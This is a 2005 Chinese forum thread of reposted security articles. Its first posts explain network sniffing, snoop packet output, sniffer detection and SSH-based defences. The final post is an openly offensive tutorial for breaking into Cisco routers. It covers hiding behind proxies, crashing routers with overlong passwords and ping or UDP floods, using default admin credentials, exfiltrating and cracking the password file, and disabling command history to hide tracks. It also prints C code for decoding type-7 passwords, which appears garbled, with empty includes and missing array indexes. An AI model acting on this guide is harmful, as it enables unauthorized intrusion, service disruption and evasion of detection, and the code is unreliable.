LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
楼主: AMD处理器

[推荐]UNIX 系统(3月30日更新 请勿灌水。谢谢!)

[复制链接]
 楼主| 发表于 2005-4-30 19:02:16 | 显示全部楼层
[推荐]网络监听概念
UNIX系统管理-系统与网络安全-网络监听概念
网络监听工具的提供给管理员的一类管理工具。使用这种工具,可以监视网络的状态、数据流动情况以及网络上传输的信息。
但是网络监听工具也是黑客们常用的工具。当信息以明文的形式在网络上传输时,便可以使用网络监听的方式来进行攻击。将网络接口设置在监听模式,便可以源源不断地将网上传输的信息截获。
网络监听可以在网上的任何一个位置实施,如局域网中的一台主机、网关上或远程网的调制解调器之间等。黑客们用得最多的是截获用户的口令。
1什么是网络监听
网络监听是黑客们常用的一种方法。当成功地登录进一台网络上的主机,并取得了这台主机的超级用户的权限之后,往往要扩大战果,尝试登录或者夺取网络中其他主机的控制友。而网络监听则是一种最简单而且最有效的方法,它常常能轻易地获得用其他方法很难获得的信息。
在网络上,监听效果最好的地方是在网关、路由器、防火墙一类的设备处,通常由网络管理员来操作。使用最方便的是在一个以太网中的任何一台上网的主机上,这是大多数黑客的做法。
1.2以太网中可以监听的原因
在电话线路和无线电、微波中监听传输的信息比较好理解,但是人们常常不太理解为什么局域网中可以进行监听。甚至有人问:能不能监听不在同一网段的信息。下面就讲述在以太网中进行监听的一些原理。在令牌环中,道理是相似的。 对于一个施行网络攻击的人来说,能攻破网关、路由器、防火墙的情况极为少见,在这里完全可以由安全管理员安装一些设备,对网络进行监控,或者使用一些专门的设备,运行专门的监听软件,并防止任何非法访关。然而,潜入一台不引人注意的计算机中,悄悄地运行一个监听程序,一个黑客是完全可以做到的。监听是非常消耗CPU资源的,在一个担负繁忙任务的计算机中进行监听,可以立即被管理员发现,因为他发现计算机的响应速度令人惊奇慢。 对于一台连网的计算机,最方便的是在以太网中进行监听,只须安装一个监听软件,然后就可以坐在机器旁浏览监听到的信息了。 以太网协议的工作方式为将要发送的数据包发往连在一起的所有主机。在包头中包含着应该接收数据包的主机的正确地址。因此,只有与数据包中目标地址一致的那台主机才能接收信包。但是,当主机工在监听模式下,无论数据包中的目标物理地址是什么,主机都将接收。
在Internet上,有许多这样的局域网。几台甚至十几台主机通过一条电缆一个集线器连在一起。在协议的高层或用户看来,当同一网络中的两台主机通信时,源主机将写有目的主机IP地址的数据包发向网关。但是,这种数据包并不能在协议栈的高层直接发送出去。要发送的数据包必须从TCP/IP协议的IP层交给网络接口,即数据链路层。 网络接口不能识别IP地址。在网络接口,由IP层来的带有IP地址的数据包又增加了一部分信息:以太帧的帧头。在帖头中,有两个域分别为只有网络接口才能识别的源主机和目的主机的物理地址,这是一个48位的地址。这个48位的地址是与IP地址对应的。也就是说,一个IP地址,必然对应一个物理地址。对于作为网关的主机,由于它连接了多个网络,因此它同时具有多个IP地址,在每个网络中,它都有一个。发向局域网之外的帧中携带的是网关的物理地址。
在以太网中,填写了物理地址的帧从网络接口中,也就是从网卡中发送出去,传送到物理的线路上。如果局域网是由一条粗缆或细缆连接机而成,则数字信号在电缆上传输,信号能够到达线路上的每一台主机。当使用集线器时,发送出去的信号到达集线器,由集线器再发向连接在信线器上的每一条线路。于是,在物理线路上传输的数字信号也能到达连接在集线器上的每一主机。 数字信号到达一台主机的网络接口时,在正常情况下,网络接口读入数据帧,进行检查,如果数据帧中携带的确良物理地址是自己的,或者物理地址是广播地址,则将数据帧交给上层协议软件,也就是IP层软件,否则就将这个帧丢弃。对于每一个到达网络接口的数据帧,都要进行这个过程。然而,当主机工作在监听模式下,则所有的数据帧都将被交给上层协议软件处理。 局域网的这种工作方式,一个形象的例子是,大房间就像是一个共享的信道,里面的每个人好像是一台主机。人们所说的话是信息包,在大房间中到处传播。当我们对其中某个人说话时,所有的人都能听到。但只有名字相同的那个人,才会对这些话语做出反映,进行处理。其余的人听到了这些谈话,只能从发呆中猜测,是否在监听他人的谈话。 当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网时,如果一台主机处于监听模式下,它还能接收到发向与自己不在同一子网(使用了不同的掩码、IP地址和网关)的主机的那些信包。也就是说,在同一条物理信道上传输的所有信息都可以被接收到。 许多人会问:能不能监听不在同一个网段计算机传输的信息。答案是否定的,一台计算机只能监听经过自己网络接口的那些信包。否则,我们将能监听到整个Internet,情形会多么可怕。 要使主机工作在监听模式下,需要向网络接口(Interface)发送I/O控制命令,将其设置为监听模式。在UNIX系统中,发送这些命令需要超级用户的权限。这一点限制了在UNIX系统中,普通用户是不能进行网络监听的。只有获得超级用户权限,才能进行网络监听。但是,在上网的Windows 95中,则没有这个限制。只要运行这一类的监听软件即可。同时,在微机上运行的这类软件具的操作方便,对监听到信息的综合能力强的特点。 目前的绝大多数计算机网络使用共享的通信信道。从上面的讨论中,我们知道,通信信道的共享意味着,计算机有可能接收发向另一台计算机的信息。 另外,要说明的是,Internet中使用的大部分协议都是很早设计的,许多协议的实现都是基于一种非常友好的,通信的双方充分信任的基础之上。因此,直到现在,网络安全还是非常脆弱的。在通常的网络环境下,用户的所有信息,包手户头和口令信息都是以明文的方式在网上传输。因此,对于一个网络黑客和网络攻击者进行网络监听,获得用户的各种信息并不是一件很困难的事。只要具有初步的网络和TCP/IP协议知识,便能轻易地从监听到的信息中提取出感兴趣的部分。 网络监听常常要保存大量的信息,对收集的信息进行大量的整理工作,因此,正在进行监的机器对用户的请求响应很慢。 首先,网络监听软件运行时,需要消耗大量的处理器时间,如果在此时,就详细地分析包中的内容,许多包就会来不信接收而漏掉。因此,网络监听软件通常都是将监听到的包存放在文件中,待以后再分析。 其次,网络中的数据包非常复杂,两台主机之间即使连续发送和接受数据包,在监听到的结果中,中间必然会夹杂了许多别的主机交互的数据包。监听软件将同一TCP会话的包整理到一起,已经是很不错了。如果还希望将用户的详细信息整理出眯,需要根据协议对包进行大量的分析。面对网络上如此众多的协议,这个监听软件将会十分庞大。
其实,找这些信息并不是一件难事。只要根据一定的规律,很容易将有用的信息一一提取出来。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 19:03:26 | 显示全部楼层
[推荐]网络监听的目的
UNIX系统管理-系统与网络安全-文章-网络监听的目的
首先,这些工具对网络上主机间的通信,能给出一个详细的,逐包的统计信息。入侵者可以选择某一台主机,看看它正在同那些主机进行通信,使用了哪些协议(通过端口号可以区分出来),传输一些针么内容。
对于这类工具,常常可以设置详细的过滤条件,可以针对信息的源主机、目的主机、使用的协议、使用的端口以及包的长度来设置过滤条件,也可以是这些条件的逻辑组合。
下面是使用snoop发现的主机asy&.vineyard.net和主机next之间后段对话:
#snoop
asy8.vineyard.netànext SMTP C port=1974
asy8.vineyard.netànsxt SMTP C port=1974 MALL FROM: next àasy8.vineyard.net SMTP C PORT=1974 250 Asy8.net à SMTP C port=1974
Asy8.vineyard.net à next SMTP C port=1974 RCPT TO: Nextàasy8.vineyard.net SMTP C port=1974 250 Asy8.vineyard.net ànext SMTP C port=1974.
Asy.vineyard.netànext SMPT C port=1974 DATA\r\n.
Next àasy8.vineyard.net SMTP c PORT =1974 354 Enter mail,end.
在这个例子中,一个邮件消息在从asy8.vineyard.net到计算机next的传播过程中被监听。如上所述,它能给出一个详细的报告,诸如系统中各个用户都在干什么。
对于入侵者来说,最喜欢的莫过于用户的口令。其实,在大多数情况下,监听到的包中,用户的口令也就像上面的“DATA r\N“一样,完全是明文形式,并且很容易找出来,因为人们没有采取任何形式的加密措施。而且口令往往是在一次通信的最开始的几个数据包中,只要找到了两台主机间连接的开始,便很容易找到认证用的口令。
6.2.2 对协议分析
所有的监听软件都可以对数据包进行详细分析,直到每一个字段的含义。
这是Solaris中的snoop使用的一个例子。这一命令监听网络接口/dev/le,
将监听到的数据包存于文件saved中。
# snoop -o saved
Using device /dev/le (promiscuous mode)
23 c
在监听了23个包之后,中断了监听。然后,可以使用snoop读取文件saved中的信息,并按照协议的格式,详细地输出包头的信息。这个命令监听不到包中传输的信息(被子该命令有意过滤掉了)。因此,这一命令是学习TCP/IP的一个最好的实例,读者不妨详细研究一下不同协议层次,不同协议中的数据包的内容和格式。
# snoop -I saved -tr -v
ETHER:------------Ether Header------
ETHER:
ETHER: Packet 21 arrived at 17:02:;29.70
ETHER: packet size =85 bytes
ETHER: Desstination =0:20:af:3b:bb:8f,
ETHER: Source =8:0:3e:30:28:87,Motorola VME bus processor
Module
ETHER: Ethertype =0800 (Ip)
ETHER: 包的最外部分是以太帧头。
IP:-----------IP Header ----------
IP:
IP: Version =4
IP: Header length =20 bytes
IP: Type of service =0x00
Ip: xxx……..=0 (precedence)
IP: …0…=normal delay
IP: ….0...=normal throughput
IP: …..0.. =normal rellability
IP: Total length =71 bytes
IP: Tdentification =2014
IP: Flags =0x0
IP: .0……=may fragment
IP: ..0….. =last fragment
IP: Fragment offest =0 bytes
IP: Time to live =30 seconds/hops
IP: Protocol =17 (UDP)
IP: Header checksum =0714
IP: Source address =11.22.33.41, source.host
IP: Destination address =192.33.4.12, c.root –servers.ndt
IP: No options
IP:
紧跟着以太帧头的是IP分组的头部信息。
UDP:-----------UDP Header--------
UDP:
UDP: Source port =53
UDP: Destination port =53 (DNS)
UDP: Length =51
UDP: Checksum =2167
UDP:
IP是网络层,网络层之上是传输层。这个包在传输层使用了UDP协议。
DNS:---------DNS:--------
DNS:
DNS: “ “
DNS:
使用应用层的是域名解析服务。
这是一个在网络上传输的一个包的信息分解。实妹的包由于使用的是流协议,许多翻译片信息是用一些位来表示的。并不能直接阅读和理解。从上面的解释得知,这是个DNS解析的数据包,传输层使用的是UDP协议,应用层使用了DNS服务。该协议将一个主机名映射为IP地址。
让我们来看另一个监听的数据包:
ETHER: ---------Ehter Header ------
ETHER:
ETHER: Packet 55 arrived at 17:02:31.14
ETHER: Packet size =64 bytes
ETHER: Destination =0:a0:c9:49:cc:a5’
ETHER: Source =0:20:af:3b:bb:8f,
ETHER: Ethertype =0880(IP)
ETHER:
IP:--------IP Header-------
Ip:
Ip: Version =4
IP:Header length =20 bytes
IP:Type of service =0x00
IP: xxx…..=0 (precedence)
IP: …0… =normal delay
IP: …..0…normal throughput
IP: ……..0..=normal rellability
IP: Total length =44 bytes
iP: Identication =12513
IP: Flags =0x0
IP: .0……=may fragmrnt
IP: …0……=last fragment
IP: Fragment offest =0 bytes
IP: Time to live =59 seconds/hops
IP: Protocol =6 (tcp)
IP: Header checksum =bc42
IP: Source addrees =11.22.33.42, gaper
IP: Destination address ==11.22.41.18, butterfly
IP: No options
IP:
Tcp: -----tcp Header -------
TCP:
TCP: Source port =2927
TCP: Destination port =25 (SMTP)
TCP: Sequence number =950073857
TCP: Acknowledgement number =0
TCP: Data offset =24 bytes
TCP: Flags =0x02
TCP: ..0…..=No urgent pointer
TCP: …0….=No acknowledgement
TCP: ….0……=No push
TCP: ……0……=No reset
TCP: ………1. =Syn
TCP: …………0 =No FIN
TCP: Window =16384
TCP: Checkwum =0x8753
TCP: Urgrnt pointer =0
TCP: Options: (4 bytes)
TCP: -Maximum segment size =1460 bytes
TCP:
SMTP:---------SMT0:-----
SMTP:
SMTP: “ ‘
SMTP:
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 19:05:48 | 显示全部楼层
[推荐]网络监听的检测
UNIX系统管理-系统与网络安全-网络监听的检测
网络监听本来是为了管理网络,监视网络的状态和数据流动情况。但是由于它能有效地截获网上的数据,因此也成了网上黑客使用得最多的方法。有一个前提条件,那就是监听只能是同一网段的主机,这里同一网段是指物理上的连接。因为不是同一落千丈网段的数据包,在网关就被滤掉,传不到该网段来。否则一个 Internet上的一台主机,便可以监视整个Internet了。
网络监听最有用的是获得用户口令。当前,网上的数据绝大多数是以明文的形式传输。而且口令通常都很短且容易辨认。当口令被截获,则可以非常容易地登上另一台主机。
简单的检测方法
网络监听是很难被发现的。运行网络监听的主机只是被动地接收在局域局上传输的信息,并没有主动的行动。即不会与其他主机交换信息,也不能修改在网上传输的信包。这一切决定了网络监听的检测是非常困难的。
当某一危险用户运行网络监听软件时,可以通过ps-ef或ps-aux命令来发现。然而,当该用户暂时修改了ps命令,则也是很发现的。能够运行网络监听软件,说明该用户已经具有了超级的用户的权限,他可以修改任何系统命令文件,来掩盖自己的行踪。其实修改ps命令只须短短数条shell命令,将监听软件的名字过滤掉即可。
另外,当系统运行网络监听软件时,系统因为负荷过重,因此对外界的响应很慢。但也不能因为一个系统响应过慢而怀疑其正在运行网络监听软件。
这是两个检测监听的方法,原理很简单,但事实上并不容易做到,做为检测方法的一点补充。
*方法一:
对于怀疑运行监听程序的机器,用正确的IP地址和错误的物理地址去ping,运行监听程序的机器会有响应。这是因为正常的机器不接收错误的物理地址,外于监听状态的机器能接收,如果他的IP stack不再次反向检查的话,就会响应。这种方法依赖于系统工程的Ipstack,对一些系统可能行不通。
*方法二:
往网上发大量不存在的物理地址的包,由于监听程序将处理这些包,将导致性能下降。通过比较前后该机器性能(icmp echo delay等方法);加以判断。这种方法难度比较大。
一个看起来可行的检查监听程序的办法是搜索所有主机上运行的进程。当然,这几乎是不可能的,因为我们很难同时检查所有主机上的进程。但是至少管理员可以确定是否有一个进程被从管理员机器上启动。对于检查运行进程这种方法,那些使用DOS、Windows for Workgroup或者 Windows 95的机器很难做到这一点。而使用UNIX和Windows NT的机器可以很容易地得到当前进程的清单。
在UNIX下,可以用下列命令:
ps -aun 或 ps -augx
这个命令产生一个包括所有进程的清单-----进程的属主、这些进程占用的CPU时间以及占用的内存等等。这些输出在STDOUT上,以标准表的形式输出。如果一个进程正在运行,它就会被列在这张清单中(除非ps或其他程序变成了一个特洛伊木马程序)。
另外一个办法就是去搜监听程序,现在只有那么多种的监听程序。入侵者很可能使遥用的是一个免费软件。在这种情况下,管理员就可以检查目录。找出监听程序,但这很困难而且很费时间。目前还不知道有哪种现在的工具可以做到这一点。在UNIX系统上,人们可能不得不自己编写一个程序,另外,如果监听程序被子换成另一个名字,管理员也不可能找到这个监听程序。 对付一个监听 击败一个监听程序的攻击,用户有多种选择,而最终采用哪种要取决于用户真正想做什么,剩下的就取决于运行时的开销了。
一般来讲,人们真正关心的是那些秘密数据(例如,用户名和口令)的安全传输,不被监听和偷换。如果这些信息是以明文的形式传输的,这就很容易被藿获而且阅读出来。这个问题的解决方法是很简单的,而且效率很高。加密是一个很好的办法,有一个产品叫做Secure Shell,或者叫SSH。SSH是一种在像 Telnet那样的应用环境中提供保密通讯的协议,它实现了一个密钥交换协议,以及主机及客户端认证协议。提供Internet上的安全加密通讯方式和在不安全信道上很强的认证和安全通讯功能。它像许多协议一样,是建立在客户/服务器模型之上的,SSH绑定的端口号是非SSH完全排除了在不安全的信道上通讯的信息,被监听的可能性使用到了RAS算法,在授权过程结束之后,所有的传输都用IDEA技术加密。
在很长一段时间内,SSH被做为主要的通讯协议,因为它利用加密提供了通信的安全。但是在职996年,这种情况发生了变化。SSH成产了一个数据流的联盟 F-SSH提供了高水平、多级别的加密算法。它针对一般利用TCP/IP进行的公共传输提供了更加有力的加密算法。如果用户使用了这样的产品。即使存在着监听,它得到的信息也是毫无意义的。
作为工具使用的SSH允许其用户安全地登录到远程主机上执行命令或传输文件。它是作为rlogin\rsh\rcp和rdist这些系统程序的替代而开发的,可以很好地运行任何使用TCP/IP协议的主机上。
SSH软件包提供如下一些工具:
Sdd运行于UNIX服务器主机上的服务程序。它监听来自客户主机的连接请求,当接收到一个连接请求,它就进行认证,并开始对客户端进行服务。
Shh客户程序,用来登录到其他主机去,或者在其他机上执行命令。Slogin是这一程序的另一个名字。
Scp用来安全的将文件从一台主机拷贝到另一台主机上。
其他防范监听的方法
一般能够接受的击败网络监听的方法的使用安全的拓朴结构。这种技术通常被称为分段技术。将网络分成一些小的网络,每一网段的集线器被连接到一个交换器上(Switch)。因为网段是硬件连接的,因而包只能在该子网的网球段内被监听工具截获。这样,网络中剩余的部分(在不同一网段的部分)就被保护了
用户也可以使用网桥或者路由器来进行分段。这可能更加合适一些,这取决于网络的结构和财力。实际上,一台旧的PCA工作站,可以被作网桥式路由器。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-4-30 19:07:19 | 显示全部楼层
[推荐]攻击CISCO路由器
UNIX系统管理-系统与网络安全-攻击CISCO路由器
警告:
不要用这破坏cisco系统,或非法访问系统。这篇文章只是以学习为目的。只可以用在合法行为,不能破坏
任何系统。这篇文章将一步一步的向你展示如何利用发现的缺陷来获得非法访问。如果你攻入了一个cisco 路由器,或者扰乱了系统,将会中断数百个网络客户机,造成大量损失。所以,只可以在被允许的情况下进行,否则你将会有许多麻烦!
目录:
在你看之前需要了解的:
-什么是IP地址?
-什么是ISP?
-什么是TCP/IP数据包?
-怎样隐藏你的IP地址?
-怎样使用Telnet?
-怎样使用HyperTerminal?
-怎样使用Ping?
-怎样使用TraceRoute?
-怎样使用代理服务器?
-第一段:为什么攻击cisco路由器?
-第二段:怎样找到一个cisco路由器?
-第三段:怎样闯入一个cisco路由器?
-第四段:怎样破解密码?
-第五段:怎样使用一个cisco路由器?
你看之前需要了解的知识:
什么是IP地址?
IP是Internet Protocol的缩写,电脑通过IP地址来识别网络中的其它电脑,与其连接。这就是你为什么会在IRC中被踢走,并且找到你的ISP和你的大概位置。IP地址是很容易得到的,基本上可以由以下几种方法获得:
-你访问某网站,你的IP被记录
-在IRC中,某人得到你的IP地址
-在ICQ,OICQ中,可以简单的得到你的IP地址,使用一些小工具。
-如果你的电脑和某人连接起来,运行 systat即可看到和那些电脑连接(以IP地址显示)
-某人发给你一封用java程序写的邮件,可以得到你的IP地址
还有其它许多方法得到IP地址,包括使用一些木马和后门程序。
什么是ISP?
ISP是Internet Service Provider的缩写,你通过它们连接到internet.你拨号后就会连接和其连接。我们可以运行一个 traceroute(跟踪路径)来寻找我们的ISP(traceroute 在后面还会介绍). 你应该看到像这样:
tracert 222.222.22.22
Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]<<<你的ISP
2 122ms 143ms 123ms isp.firewall [222.222.22.20]<< 3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]<< 6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< 目标的ISP
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.
什么是TCP/IP数据包?
TCP/IP是 Transmission Control Protocol 和 Internet Protocol的缩写, 一个TCP/IP数据包就是压缩过的数据包,将发送到另外一台电脑的。这就是网络数据传送的方式,通过发送数据包。数据包的头部包括发送数据包的机器的IP地址。你可以重写数据包,并且表面上是来自其它的人!!你可以通过这非 法访问许多系统而不会被发现。当然,你需要在Linux上运行或使用某软件来完成这项工作。这篇教程不会向你介绍怎样在一个cisco路由器上这样做,但是当攻击某些系统这样做是非常方便的。如果你试着攻击某些系统,但是无法入手,你总是可以这样试...
怎样隐藏你的IP地址?
使用Genius 2 或 DC IS之类的软件,你将可以运行IdentD。你就可以随时改变你的IP地址。当你在IRC中 被踢出来的时候,你使用它可以再次进入。你访问其它系统的时候,你也可以使用它,那么记录下来的就是错误的IP地址...
怎样使用telnet?
你可以用开始菜单中的“运行”,输入telnet,接着确定。
你就运行了telnet,你可以改变一些选项点击:Terminal>references。你可以在这改变缓冲区的大小。 你也可以 打开/关闭 "local echo"。如果你打开了"local echo",你的电脑将显示你输入的任何东西, 并且连接上的电脑将显示回应。 所以你将会看到就像这些: 你输入 "hello",你看到的是
hhelelollo
这是因为返回的信息和你输入的内容已经混合起来了。我这样做的唯一的原因是看连接的机器对我的输入, 是否产生回应。 在默认的情况下,telnet只会通过telnet端口连接,即是断口23。你并不会只通过端口23连接,所以你连 接的时候,你可以任意改变端口。你可以改成25,那是邮件服务程序的端口。也可以是21,那是ftp的端口。 总共有上千个端口,所以你要选择正确的端口!
怎样使用超级终端?
超级终端可以让你的电脑的任意端口进行监听某台电脑,如果有信息来到这个端口,就可以进行传输件。超 级终端在 开始>程序>附件>通讯 中,没有的话,你可以通过控制面板中安装。首先,你要选择连接协议,我们选"TCP/IP Winsock",接着输入要连接的电脑,下面选择端口。可以选择Call>Wait for Call,来等待 文件。这样其它的电脑就可以通过某个端口连接上你了,你也可以聊天,或者传送文件了。 : 我的超级终端可能不一样,没有这个功能。
怎样使用Ping?
Ping的使用很简单,在MS-DOS方式下,输入“ping IP地址”,默认是ping三次,你也可以自己设定。 "ping ip地址 -t" 可以使其不停的ping。 改变 ping 的大小可以这样做:
"ping -l (size) ip.address"
ping其实是向远程的机器发送数据包,远程的机器接收到就会把数据包原路返回,我们可以看到这个过程的 时间。时间越短,速度就越快,当然,拥挤的时候,就会发生数据包丢失。 Ping 会减慢被ping的电脑的速度,流量过大的时候,甚至使其down机。一分钟的ping攻击就可以使一台win98 的电脑崩溃。(因为它的连接 缓冲区溢出 - 连接过量,所以Windows决定休息休息了:>).ping攻击也会占用你许多带宽,所以你的带宽要 比目标机器大(除非目标机器运行的是Windows 98,而且你有个不错的猫,那么一分钟内,你就可以叫它下台). Ping攻击对强壮的系统没有效果。 注意: DOS's -t 选项不是一个ping攻击,它只是很小的连接一下,而且中间有很多间隔。在Unix或Linux 的机器中,你可以用上参数 -f 进行真正的ping攻击。其实,如果你的分布是POSIX-compliant (POSIX -  Portable Operating System Interface based on uniX),否则那就不是真正的Unix/Linux  分布。那 么如果你有个 OS,称自己既是Unix,又是Linux,那么就是有 -f 。
怎样使用TraceRoute?
要跟踪你的连接(可以观察到目标机器的连接路线),只要在MS-DOS方式下,输入“tracert IP地址”。你 将会看到一个电脑的目录,就是你和目标之间通过的机器。. 你可以用此方法确定是否存在防火墙,也可以确定某人的ISP(internet service provider)。 要确定 ISP,只要看目标机器的前一个IP地址,那就应该是ISP的路由器。 基本上说,这就是traceroute怎样工作-一个 TCP/IP 数据包,在它的头部有一个值(在IP的头部。如果你不
知道这是什么意思,没关系,你接着往下看就可以了)称作 TTL,它是Time To Live的缩写。当一个数据包通过 路由器的时候,它的TTL值就会减少。这样可能会使数据包在网络中流窜,消耗带宽。所以每当一个数据包TTL
值达到0的时候,它就会失效并且因为一个ICMP错误返回到发送者。现在traceroute 先发送一个TTL值为1的 数据包,那么它很快就会返回。查看ICMP错误的头部,traceroute就可以知道数据包第一步通过哪。接着就 会发送TTL值为2的数据包,返回后,就是第二次通过的地方。依次下去,直到最终的目的地,就可以知道整个路径。
现在你是不是明白了呢? :-)
怎样使用代理服务器?
在网上寻找一个代理服务器,包括你需要的打开的端口的代理服务器。找到后,你可以用telnet 或 hyperterminal通过代理服务器连接到另外一台电脑上。这样做对方的电脑就不可以确定你的IP地址。
第一段:为什么攻击cisco路由器?
你可能会想.. 为什么要攻击 cisco 路由器呢?
答案就是那样做将对闯入其它的系统非常有用...
Cisco路由器非常的快,在一个系统中,一些会是以18 T1连接。而且它们非常灵活,尽管大多数运行 telnet,但是它们可以在DoS攻击或攻入其它系统时发挥作用。 它们同时还会有成千的数据包通过。但是可以被捕获进行译码...许多的cisco路由器受托于系统,它们 可以让你获得其网络中访问其它电脑的确切的数量。
第二段:怎样找到一个cisco路由器?
寻找一个cisco路由器可以说是以项简单的任务,几乎所有的ISP至少通过一个cisco路由器。最简单的 方法是在dos下运行tracert,你可以跟踪到电脑之间的许多电脑,在这之间,必有一个 “cisco”这个 名字。如果你发现了,记下它的IP地址。 :在中国未必有cisco这个名字,但是肯定有路由器的,你可以用SuperScan扫描前两个IP地址, 看哪个开2001端口(Cisco路由器管理)和23端口即是的啦! 现在,你有 cisco路由器的位置了,但是它可能还有一个防火墙保护它,所以你要检查一下它是否被封 锁ping连接的次数,如果有回应,它就有可能未被封锁。另外一种方法就是试着访问cisco路由器的一些 端口。你用telnet即可,端口23,如果它要输入密码,未叫输入用 户名,你就可能在一个防火墙。
试着找一个未受防火墙保护的路由器,因为这篇教程主题是路由器,不是教你怎样通过防火墙。当你确 信找到一个好的系统,你应该找一个可以使用23端口的代理服务器,这样你的IP地址就不会被路由器记 录下来了。:找到一台运行Wingate的机器即可。
第三段:怎样闯入一个cisco路由器?
Cisco路由器运行 V4.1 版本的软件(现在普遍使用的),这很容易干掉。你只要通过代理服务器连接到 一个cisco路由器,输入一串很长的密码,如:
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
现在开始等,cisco系统将会重新启动,可以说你已经攻击它,使它离线了...但是过2-10分钟,它就会恢复,我们应该进入它。
如果什么都没发生,那么它运行的不是脆弱的软件,你可以多试几种DoS攻击,比如大量的 ping.到dos下, 输入 "ping - l 56550 cisco.router.ip -t",这会起到同样的效果. :很有可能以上两种方法都不行,反正是要其down机,那么试试那个攻击yahoo的udpFlood,一定 可以使其down机。一定要注意小心啊!我相信你应该知道该怎么保护自己。
如果它被动结,就另找一个代理服务器进行连接。并且用户名为"admin",密码为"admin",因为这是默认的。 因为当它暂时的disabled,它将恢复到默认状态。 :你到我主页,会有一篇文章包括几乎所有的路由器的默认用户名和密码 现在,你已经进入了,你应该获得密码文件!系统运行不同的软件,但大部分有个像"htl-textil" 这类的提示,现在输入"?",观看命。你会看到有很多的命令,你会发现一个传送命令,用这个命令,在当前  Admin用户的情况下,把密码文件发送到你的电脑23端口上。但是在这之前,你要把你的超级终端设定好。你发 送文件之后,超级终端将问你是否接收文件,你选择是并保存在电脑中即可。离线. 你通过了最难的部分,下面准备开始破解密码。
第四段:怎样破解密码?
现在,你获得了密码文件,你要破解它才能继续进入路由器。所以你可以运行John the Ripper之类的软件破 译它。
这是我推荐的最简单的方法.另一种方法是试着把它解码。这样做需要一个解码软件,使用某些解码软件,你还 要有足够的耐心。
这儿有一个专门为cisco路由器密码文件解码的软件,你可以在Linux中编译它:
#include
#include
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw = toupper(enc_pw))) {
val += enc_pw - '0';
continue;
}
if(enc_pw >= 'A' && enc_pw <= 'F') {
val += enc_pw - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line == '\r')
i--;
if(line == '\n')
break;
}
pw_pos = 0;
line = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}
如果你没有使用Linux,你就只好用John the Ripper之类的软件,带上密码档,进行暴利破解。
第五段:怎样使用一个cisco路由器?
要使用它,你先必须连接到它,你可以用代理,以免你的IP地址被记下。当你进入的时候,如果你想关闭
历史记录来掩盖你的行为,你只要输入"terminal history size 0"。这样就不会被记下什么了! 输入 "?" 来看路由器中的命令,大多数你都可以用的。
这些路由器一般都有telnet,所以你可以通过telnet连接到其它的系统上(比如unix boxes),并且攻击 它们。你还可以使用ping  和 traceroute 进行跟踪系统或进行DoS攻击。你也可以监听数据包,但我不推荐 这样做,因为并不是一定成功,而且会被发现....
如果你第一次没有攻入cisco,不要担心...你一两次是不可能成功的。它需要不断的练习和超强的耐力。 这儿只向你将怎样做...一定要在合法的情况下进行啊!
回复 支持 反对

使用道具 举报

